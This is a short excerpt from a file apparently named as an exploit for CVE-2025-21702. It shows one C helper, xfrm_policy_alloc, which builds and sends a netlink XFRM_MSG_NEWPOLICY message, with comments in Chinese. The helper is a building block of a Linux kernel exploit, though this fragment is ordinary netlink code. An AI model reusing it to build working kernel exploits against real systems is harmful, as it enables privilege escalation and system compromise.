Function xfrm_policy_alloc

CVE-2025-21702/exploit/exploit.c:900–919

}

void xfrm_policy_alloc(
	struct mnl_socket *xfrm_socket,
	const struct xfrm_userpolicy_info *xfrm_userpolicy_info,
	const struct xfrm_mark *xfrm_mark,
	u32 if_id
)
{ 	// xfrm_add_policy() 可看出用户参数结构: nlmsghdr + xfrm_userpolicy_info + nlattr
	u32 seq = time(NULL);
	u8 buf[8192] = {};
	struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
	nlh->nlmsg_type = XFRM_MSG_NEWPOLICY; 											// XFRM_MSG_NEWPOLICY
	nlh->nlmsg_seq = seq;
	nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST;
	struct xfrm_userpolicy_info *p = mnl_nlmsg_put_extra_header(nlh, sizeof(*p)); 	// xfrm_userpolicy_info - extra header
	memcpy(p, xfrm_userpolicy_info, sizeof(struct xfrm_userpolicy_info));
	mnl_attr_put(nlh, XFRMA_MARK, sizeof(struct xfrm_mark), xfrm_mark); 			// XFRMA_MARK  - xfrm_mark
	mnl_attr_put_u32(nlh, XFRMA_IF_ID, if_id); 										// XFRMA_IF_ID - if_id
	Mnl_socket_sendto(xfrm_socket, nlh, nlh->nlmsg_len);
	validate_mnl_socket_operation_success(xfrm_socket, seq);
}

void xfrm_policy_free(
	struct mnl_socket *xfrm_socket,